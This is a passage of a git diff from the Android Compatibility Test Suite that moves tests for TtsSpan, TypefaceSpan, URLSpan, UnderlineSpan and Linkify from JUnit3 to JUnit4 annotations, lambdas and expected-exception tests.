             assertEquals(TtsSpan.TYPE_TIME, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals(20, args.getInt(TtsSpan.ARG_HOURS));
             assertEquals(50, args.getInt(TtsSpan.ARG_MINUTES));
         }
         {
-            final TtsSpan t = (new TtsSpan.TimeBuilder(20, 50)).build();
+            final TtsSpan t = new TtsSpan.TimeBuilder(20, 50).build();
             assertEquals(TtsSpan.TYPE_TIME, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals(20, args.getInt(TtsSpan.ARG_HOURS));
             assertEquals(50, args.getInt(TtsSpan.ARG_MINUTES));
         }
     }
 
-    @SmallTest
+    @Test
     public void testDateBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.DateBuilder())
+            final TtsSpan t = new TtsSpan.DateBuilder()
                     .setWeekday(3)
                     .setDay(16)
                     .setMonth(3)
                     .setYear(2016)
                     .build();
             assertEquals(TtsSpan.TYPE_DATE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(4, args.size());
             assertEquals(3, args.getInt(TtsSpan.ARG_WEEKDAY));
             assertEquals(16, args.getInt(TtsSpan.ARG_DAY));
@@ -368,9 +488,9 @@
             assertEquals(2016, args.getInt(TtsSpan.ARG_YEAR));
         }
         {
-            final TtsSpan t = (new TtsSpan.DateBuilder(3, 16, 3, 2016)).build();
+            final TtsSpan t = new TtsSpan.DateBuilder(3, 16, 3, 2016).build();
             assertEquals(TtsSpan.TYPE_DATE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(4, args.size());
             assertEquals(3, args.getInt(TtsSpan.ARG_WEEKDAY));
             assertEquals(16, args.getInt(TtsSpan.ARG_DAY));
@@ -378,70 +498,86 @@
             assertEquals(2016, args.getInt(TtsSpan.ARG_YEAR));
         }
         {
-            final TtsSpan t = (new TtsSpan.DateBuilder(3, 16, null, null)).build();
+            final TtsSpan t = new TtsSpan.DateBuilder(3, 16, null, null).build();
             assertEquals(TtsSpan.TYPE_DATE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals(3, args.getInt(TtsSpan.ARG_WEEKDAY));
             assertEquals(16, args.getInt(TtsSpan.ARG_DAY));
         }
     }
 
-    @SmallTest
+    @Test
     public void testMoneyBuilder() {
-        final TtsSpan t = (new TtsSpan.MoneyBuilder())
-                .setIntegerPart(10)
-                .setFractionalPart("25")
-                .setCurrency("USD")
-                .setQuantity("1000")
-                .build();
-        assertEquals(TtsSpan.TYPE_MONEY, t.getType());
-        PersistableBundle args = t.getArgs();
-        assertEquals(4, args.size());
-        assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
-        assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
-        assertEquals("USD", args.getString(TtsSpan.ARG_CURRENCY));
-        assertEquals("1000", args.getString(TtsSpan.ARG_QUANTITY));
+        {
+            final TtsSpan t = new TtsSpan.MoneyBuilder()
+                    .setIntegerPart(10)
+                    .setFractionalPart("25")
+                    .setCurrency("USD")
+                    .setQuantity("1000")
+                    .build();
+            assertEquals(TtsSpan.TYPE_MONEY, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(4, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+            assertEquals("25", args.getString(TtsSpan.ARG_FRACTIONAL_PART));
+            assertEquals("USD", args.getString(TtsSpan.ARG_CURRENCY));
+            assertEquals("1000", args.getString(TtsSpan.ARG_QUANTITY));
+        }
+        {
+            final TtsSpan t = new TtsSpan.MoneyBuilder().setIntegerPart("10").build();
+            assertEquals(TtsSpan.TYPE_MONEY, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(1, args.size());
+            assertEquals("10", args.getString(TtsSpan.ARG_INTEGER_PART));
+        }
+        {
+            final TtsSpan t = new TtsSpan.MoneyBuilder().build();
+            assertEquals(TtsSpan.TYPE_MONEY, t.getType());
+            final PersistableBundle args = t.getArgs();
+            assertEquals(0, args.size());
+        }
+
     }
 
-    @SmallTest
+    @Test
     public void testTelephoneBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.TelephoneBuilder())
+            final TtsSpan t = new TtsSpan.TelephoneBuilder()
                     .setCountryCode("+01")
                     .setNumberParts("000-000-0000")
                     .setExtension("0000")
                     .build();
             assertEquals(TtsSpan.TYPE_TELEPHONE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(3, args.size());
             assertEquals("+01", args.getString(TtsSpan.ARG_COUNTRY_CODE));
             assertEquals("000-000-0000", args.getString(TtsSpan.ARG_NUMBER_PARTS));
             assertEquals("0000", args.getString(TtsSpan.ARG_EXTENSION));
         }
         {
-            final TtsSpan t = (new TtsSpan.TelephoneBuilder("000-000-0000")).build();
+            final TtsSpan t = new TtsSpan.TelephoneBuilder("000-000-0000").build();
             assertEquals(TtsSpan.TYPE_TELEPHONE, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("000-000-0000", args.getString(TtsSpan.ARG_NUMBER_PARTS));
         }
     }
 
-    @SmallTest
+    @Test
     public void testElectronicBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.ElectronicBuilder())
+            final TtsSpan t = new TtsSpan.ElectronicBuilder()
                     .setEmailArguments("example", "example.com")
                     .build();
             assertEquals(TtsSpan.TYPE_ELECTRONIC, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(2, args.size());
             assertEquals("example", args.getString(TtsSpan.ARG_USERNAME));
             assertEquals("example.com", args.getString(TtsSpan.ARG_DOMAIN));
         }
         {
-            final TtsSpan t = (new TtsSpan.ElectronicBuilder())
+            final TtsSpan t = new TtsSpan.ElectronicBuilder()
                     .setProtocol("http")
                     .setDomain("example.com")
                     .setPort(80)
@@ -452,7 +588,7 @@
                     .setPassword("password")
                     .build();
             assertEquals(TtsSpan.TYPE_ELECTRONIC, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(8, args.size());
             assertEquals("http", args.getString(TtsSpan.ARG_PROTOCOL));
             assertEquals("example.com", args.getString(TtsSpan.ARG_DOMAIN));
@@ -465,41 +601,41 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testDigitsBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.DigitsBuilder())
+            final TtsSpan t = new TtsSpan.DigitsBuilder()
                     .setDigits("12345")
                     .build();
             assertEquals(TtsSpan.TYPE_DIGITS, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("12345", args.getString(TtsSpan.ARG_DIGITS));
         }
         {
-            final TtsSpan t = (new TtsSpan.DigitsBuilder("12345")).build();
+            final TtsSpan t = new TtsSpan.DigitsBuilder("12345").build();
             assertEquals(TtsSpan.TYPE_DIGITS, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("12345", args.getString(TtsSpan.ARG_DIGITS));
         }
     }
 
-    @SmallTest
+    @Test
     public void testVerbatimBuilder() {
         {
-            final TtsSpan t = (new TtsSpan.VerbatimBuilder())
+            final TtsSpan t = new TtsSpan.VerbatimBuilder()
                     .setVerbatim("abcdefg")
                     .build();
             assertEquals(TtsSpan.TYPE_VERBATIM, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("abcdefg", args.getString(TtsSpan.ARG_VERBATIM));
         }
         {
-            final TtsSpan t = (new TtsSpan.VerbatimBuilder("abcdefg")).build();
+            final TtsSpan t = new TtsSpan.VerbatimBuilder("abcdefg").build();
             assertEquals(TtsSpan.TYPE_VERBATIM, t.getType());
-            PersistableBundle args = t.getArgs();
+            final PersistableBundle args = t.getArgs();
             assertEquals(1, args.size());
             assertEquals("abcdefg", args.getString(TtsSpan.ARG_VERBATIM));
         }
diff --git a/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
index 7a05167..ffc024a 100644
--- a/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
@@ -16,17 +16,26 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 
 import android.graphics.Typeface;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.TypefaceSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class TypefaceSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TypefaceSpanTest {
     private static final String FAMILY = "monospace";
 
+    @Test
     public void testConstructor() {
         TypefaceSpan t = new TypefaceSpan(FAMILY);
 
@@ -40,11 +49,13 @@
         }
     }
 
+    @Test
     public void testGetFamily() {
         TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
         assertEquals(FAMILY, typefaceSpan.getFamily());
     }
 
+    @Test
     public void testUpdateMeasureState() {
         TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
 
@@ -56,15 +67,16 @@
         assertNotNull(tp.getTypeface());
         // the style should be default style.
         assertEquals(Typeface.NORMAL, tp.getTypeface().getStyle());
-
-        try {
-            typefaceSpan.updateMeasureState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
+
+        typefaceSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testUpdateDrawState() {
         TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
 
@@ -76,25 +88,28 @@
         assertNotNull(tp.getTypeface());
         // the style should be default style.
         assertEquals(Typeface.NORMAL, tp.getTypeface().getStyle());
-
-        try {
-            typefaceSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
+
+        typefaceSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
         typefaceSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         TypefaceSpan typefaceSpan = new TypefaceSpan(FAMILY);
         typefaceSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/URLSpanCtsActivity.java b/tests/tests/text/src/android/text/style/cts/URLSpanCtsActivity.java
index be6c8ae..09dff43 100644
--- a/tests/tests/text/src/android/text/style/cts/URLSpanCtsActivity.java
+++ b/tests/tests/text/src/android/text/style/cts/URLSpanCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.text.style.cts;
 
-import android.text.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.text.cts.R;
 
 /**
  * A minimal application for {@link URLSpan} test.
diff --git a/tests/tests/text/src/android/text/style/cts/URLSpanTest.java b/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
index 330db77..067b56b 100644
--- a/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
@@ -16,32 +16,45 @@
 
 package android.text.style.cts;
 
-import android.text.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.os.Parcel;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.cts.R;
 import android.text.style.URLSpan;
 import android.widget.TextView;
 
-public class URLSpanTest extends ActivityInstrumentationTestCase2<URLSpanCtsActivity> {
-    // The scheme of TEST_URL must be "ctstest" to launch MockURLSpanTestActivity
-    private static final String TEST_URL = "ctstest://urlSpan/test";
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class URLSpanTest {
+    // The scheme of TEST_URL must be "ctstesttext" to launch MockURLSpanTestActivity
+    private static final String TEST_URL = "ctstesttext://urlSpan/test";
+
     private Activity mActivity;
 
-    public URLSpanTest() {
-        super("android.text.cts", URLSpanCtsActivity.class);
+    @Rule
+    public ActivityTestRule<URLSpanCtsActivity> mActivityRule =
+            new ActivityTestRule<>(URLSpanCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         URLSpan urlSpan = new URLSpan(TEST_URL);
 
@@ -55,55 +68,49 @@
         }
     }
 
+    @Test
     public void testGetURL() {
         URLSpan urlSpan = new URLSpan(TEST_URL);
         assertEquals(TEST_URL, urlSpan.getURL());
     }
 
-    public void testOnClick() {
+    @LargeTest
+    @Test
+    public void testOnClick() throws Throwable {
         final URLSpan urlSpan = new URLSpan(TEST_URL);
         final TextView textView = (TextView) mActivity.findViewById(R.id.url);
 
-        Instrumentation instrumentation = getInstrumentation();
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         ActivityMonitor am = instrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
                 null, false);
 
-        try {
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    urlSpan.onClick(textView);
-                }
-            });
-        } catch (Throwable e) {
-            fail("Exception error!");
-        }
+        mActivityRule.runOnUiThread(() -> urlSpan.onClick(textView));
 
         Activity newActivity = am.waitForActivityWithTimeout(5000);
         assertNotNull(newActivity);
         newActivity.finish();
     }
 
+    @Test(expected=NullPointerException.class)
     public void testOnClickFailure() {
         URLSpan urlSpan = new URLSpan(TEST_URL);
 
-        try {
-            urlSpan.onClick(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        urlSpan.onClick(null);
     }
 
+    @Test
     public void testDescribeContents() {
         URLSpan urlSpan = new URLSpan(TEST_URL);
         urlSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         URLSpan urlSpan = new URLSpan(TEST_URL);
         urlSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
index 4f200d2..0661833 100644
--- a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
@@ -16,14 +16,22 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.UnderlineSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class UnderlineSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UnderlineSpanTest {
+    @Test
     public void testConstructor() {
         new UnderlineSpan();
 
@@ -35,6 +43,7 @@
         }
     }
 
+    @Test
     public void testUpdateDrawState() {
         UnderlineSpan underlineSpan = new UnderlineSpan();
 
@@ -44,25 +53,28 @@
 
         underlineSpan.updateDrawState(tp);
         assertTrue(tp.isUnderlineText());
-
-        try {
-            underlineSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        UnderlineSpan underlineSpan = new UnderlineSpan();
+
+        underlineSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         UnderlineSpan underlineSpan = new UnderlineSpan();
         underlineSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         UnderlineSpan underlineSpan = new UnderlineSpan();
         underlineSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index a159da9..d20792e 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -16,9 +16,15 @@
 
 package android.text.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.style.URLSpan;
@@ -28,6 +34,10 @@
 import android.util.Patterns;
 import android.widget.TextView;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Locale;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -35,26 +45,26 @@
 /**
  * Test {@link Linkify}.
  */
-public class LinkifyTest extends AndroidTestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LinkifyTest {
     private static final Pattern LINKIFY_TEST_PATTERN = Pattern.compile(
             "(test:)?[a-zA-Z0-9]+(\\.pattern)?");
 
-    private MatchFilter mMatchFilterStartWithDot = new MatchFilter() {
-        public final boolean acceptMatch(final CharSequence s, final int start, final int end) {
-            if (start == 0) {
+    private MatchFilter mMatchFilterStartWithDot =
+            (final CharSequence s, final int start, final int end) -> {
+                if (start == 0) {
+                    return true;
+                }
+
+                if (s.charAt(start - 1) == '.') {
+                    return false;
+                }
+
                 return true;
-            }
+            };
 
-            if (s.charAt(start - 1) == '.') {
-                return false;
-            }
-
-            return true;
-        }
-    };
-
-    private TransformFilter mTransformFilterUpperChar = new TransformFilter() {
-        public final String transformUrl(final Matcher match, String url) {
+    private TransformFilter mTransformFilterUpperChar = (final Matcher match, String url) -> {
             StringBuilder buffer = new StringBuilder();
             String matchingRegion = match.group();
 
@@ -67,14 +77,22 @@
                 }
             }
             return buffer.toString();
-        }
-    };
+        };
 
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testConstructor() {
         new Linkify();
     }
 
-    public void testAddLinks1() {
+    @Test
+    public void testAddLinksToSpannable() {
         // Verify URLs including the ones that have new gTLDs, and the
         // ones that look like gTLDs (and so are accepted by linkify)
         // and the ones that should not be linkified due to non-compliant
@@ -101,44 +119,45 @@
         assertEquals(1, spans.length);
         assertEquals("mailto:name@gmail.com", spans[0].getURL());
 
-        try {
-            Linkify.addLinks((Spannable) null, Linkify.WEB_URLS);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
         assertFalse(Linkify.addLinks((Spannable) null, 0));
     }
 
-    public void testAddLinks2() {
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToSpannableNullWithWebUrls() {
+        Linkify.addLinks((Spannable) null, Linkify.WEB_URLS);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAddLinksToTextView() {
         String text = "www.google.com, name@gmail.com";
         TextView tv = new TextView(mContext);
         tv.setText(text);
 
         assertTrue(Linkify.addLinks(tv, Linkify.WEB_URLS));
-        URLSpan[] spans = ((Spannable)tv.getText()).getSpans(0, text.length(), URLSpan.class);
+        URLSpan[] spans = ((Spannable) tv.getText()).getSpans(0, text.length(), URLSpan.class);
         assertEquals(1, spans.length);
         assertEquals("http://www.google.com", spans[0].getURL());
 
         SpannableString spannable = SpannableString.valueOf(text);
         tv.setText(spannable);
         assertTrue(Linkify.addLinks(tv, Linkify.EMAIL_ADDRESSES));
-        spans = ((Spannable)tv.getText()).getSpans(0, text.length(), URLSpan.class);
+        spans = ((Spannable) tv.getText()).getSpans(0, text.length(), URLSpan.class);
         assertEquals(1, spans.length);
         assertEquals("mailto:name@gmail.com", spans[0].getURL());
 
-        try {
-            Linkify.addLinks((TextView)null, Linkify.WEB_URLS);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
-        assertFalse(Linkify.addLinks((TextView)null, 0));
+        assertFalse(Linkify.addLinks((TextView) null, 0));
     }
 
-    public void testAddLinks3() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToTextViewNullWithWebUrls() {
+        Linkify.addLinks((TextView) null, Linkify.WEB_URLS);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAddLinksToTextViewWithScheme() {
         String text = "Alan, Charlie";
         TextView tv = new TextView(mContext);
         tv.setText(text);
@@ -157,20 +176,6 @@
         assertEquals("test:google.pattern", spans[0].getURL());
         assertEquals("test:AZ0101.pattern", spans[1].getURL());
 
-        try {
-            Linkify.addLinks((TextView) null, LINKIFY_TEST_PATTERN, "Test:");
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
-        try {
-            Linkify.addLinks(tv, null, "Test:");
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
         tv = new TextView(mContext);
         tv.setText(text);
         Linkify.addLinks(tv, LINKIFY_TEST_PATTERN, null);
@@ -180,10 +185,26 @@
         assertEquals("test:AZ0101.pattern", spans[1].getURL());
     }
 
-    public void testAddLinks4() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToTextViewWithSchemeNullView() {
+        Linkify.addLinks((TextView) null, LINKIFY_TEST_PATTERN, "Test:");
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToTextViewWithSchemeNullPattern() {
+        TextView tv = new TextView(mContext);
+        tv.setText("Alan, Charlie");
+        Linkify.addLinks(tv, null, "Test:");
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAddLinksToTextViewWithSchemeAndFilter() {
         TextView tv = new TextView(mContext);
 
-        String text =  "FilterUpperCase.pattern, 12.345.pattern";
+        String text = "FilterUpperCase.pattern, 12.345.pattern";
         tv.setText(text);
         Linkify.addLinks(tv, LINKIFY_TEST_PATTERN, "Test:",
                 mMatchFilterStartWithDot, mTransformFilterUpperChar);
@@ -192,22 +213,6 @@
         assertEquals("test:ilterpperase.pattern", spans[0].getURL());
         assertEquals("test:12", spans[1].getURL());
 
-        try {
-            Linkify.addLinks((TextView) null, LINKIFY_TEST_PATTERN, "Test:",
-                    mMatchFilterStartWithDot, mTransformFilterUpperChar);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
-        try {
-            Linkify.addLinks(tv, null, "Test:",
-                    mMatchFilterStartWithDot, mTransformFilterUpperChar);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
         tv.setText(text);
         Linkify.addLinks(tv, LINKIFY_TEST_PATTERN, null,
                 mMatchFilterStartWithDot, mTransformFilterUpperChar);
@@ -232,7 +237,24 @@
         assertEquals("test:12", spans[1].getURL());
     }
 
-    public void testAddLinks5() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToTextViewWithSchemeAndFilterNullView() {
+        Linkify.addLinks((TextView) null, LINKIFY_TEST_PATTERN, "Test:",
+                mMatchFilterStartWithDot, mTransformFilterUpperChar);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToTextViewWithSchemeAndFilterNullPattern() {
+        TextView tv = new TextView(mContext);
+        tv.setText("FilterUpperCase.pattern, 12.345.pattern");
+        Linkify.addLinks(tv, null, "Test:",
+                mMatchFilterStartWithDot, mTransformFilterUpperChar);
+    }
+
+    @Test
+    public void testAddLinksToSpannableWithScheme() {
         String text = "google.pattern, test:AZ0101.pattern";
 
         SpannableString spannable = new SpannableString(text);
@@ -242,18 +264,6 @@
         assertEquals("test:google.pattern", spans[0].getURL());
         assertEquals("test:AZ0101.pattern", spans[1].getURL());
 
-        try {
-            Linkify.addLinks((Spannable)null, LINKIFY_TEST_PATTERN, "Test:");
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            Linkify.addLinks(spannable, null, "Test:");
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-        }
-
         spannable = new SpannableString(text);
         Linkify.addLinks(spannable, LINKIFY_TEST_PATTERN, null);
         spans = (spannable.getSpans(0, spannable.length(), URLSpan.class));
@@ -262,7 +272,23 @@
         assertEquals("test:AZ0101.pattern", spans[1].getURL());
     }
 
-    public void testAddLinks6() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToSpannableWithSchemeNullSpannable() {
+        Linkify.addLinks((Spannable)null, LINKIFY_TEST_PATTERN, "Test:");
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToSpannableWithSchemeNullPattern() {
+        String text = "google.pattern, test:AZ0101.pattern";
+        SpannableString spannable = new SpannableString(text);
+
+        Linkify.addLinks(spannable, null, "Test:");
+    }
+
+    @Test
+    public void testAddLinksToSpannableWithSchemeAndFilter() {
         String text = "FilterUpperCase.pattern, 12.345.pattern";
 
         SpannableString spannable = new SpannableString(text);
@@ -273,22 +299,6 @@
         assertEquals("test:ilterpperase.pattern", spans[0].getURL());
         assertEquals("test:12", spans[1].getURL());
 
-        try {
-            Linkify.addLinks((Spannable)null, LINKIFY_TEST_PATTERN, "Test:",
-                    mMatchFilterStartWithDot, mTransformFilterUpperChar);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
-        try {
-            Linkify.addLinks(spannable, null, "Test:", mMatchFilterStartWithDot,
-                    mTransformFilterUpperChar);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
         spannable = new SpannableString(text);
         Linkify.addLinks(spannable, LINKIFY_TEST_PATTERN, null, mMatchFilterStartWithDot,
                 mTransformFilterUpperChar);
@@ -313,7 +323,25 @@
         assertEquals("test:12", spans[1].getURL());
     }
 
-    public void testAddLinks7() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToSpannableWithSchemeAndFilterNullSpannable() {
+        Linkify.addLinks((Spannable)null, LINKIFY_TEST_PATTERN, "Test:",
+                mMatchFilterStartWithDot, mTransformFilterUpperChar);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testAddLinksToSpannableWithSchemeAndFilterNullPattern() {
+        String text = "FilterUpperCase.pattern, 12.345.pattern";
+        SpannableString spannable = new SpannableString(text);
+
+        Linkify.addLinks(spannable, null, "Test:", mMatchFilterStartWithDot,
+                mTransformFilterUpperChar);
+    }
+
+    @Test
+    public void testAddLinksPhoneNumbers() {
         String numbersInvalid = "123456789 not a phone number";
         String numbersUKLocal = "tel:(0812)1234560 (0812)1234561";
         String numbersUSLocal = "tel:(812)1234562 (812)123.4563 "
@@ -342,17 +370,10 @@
             assertEquals("tel:+18005551214", spans[8].getURL());
         }
 
-        try {
-            Linkify.addLinks((Spannable) null, Linkify.WEB_URLS);
-            fail("Should throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expect
-        }
-
         assertFalse(Linkify.addLinks((Spannable) null, 0));
     }
 
-    @SmallTest
+    @Test
     public void testAddLinks_addsLinksWhenDefaultSchemeIsNull() {
         Spannable spannable = new SpannableString("any https://android.com any android.com any");
         Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, null, null, null);
@@ -363,7 +384,7 @@
         assertEquals("android.com", spans[1].getURL());
     }
 
-    @SmallTest
+    @Test
     public void testAddLinks_addsLinksWhenSchemesArrayIsNull() {
         Spannable spannable = new SpannableString("any https://android.com any android.com any");
         Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://", null, null);
@@ -375,7 +396,7 @@
         assertEquals("http://android.com", spans[1].getURL());
     }
 
-    @SmallTest
+    @Test
     public void testAddLinks_prependsDefaultSchemeToBeginingOfLink() {
         Spannable spannable = new SpannableString("any android.com any");
         Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
@@ -386,7 +407,7 @@
         assertEquals("http://android.com", spans[0].getURL());
     }
 
-    @SmallTest
+    @Test
     public void testAddLinks_doesNotPrependSchemeIfSchemeExists() {
         Spannable spannable = new SpannableString("any https://android.com any");
         Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
@@ -399,7 +420,8 @@
 
     // Add links with scheme (array)
 
-    @SmallTest
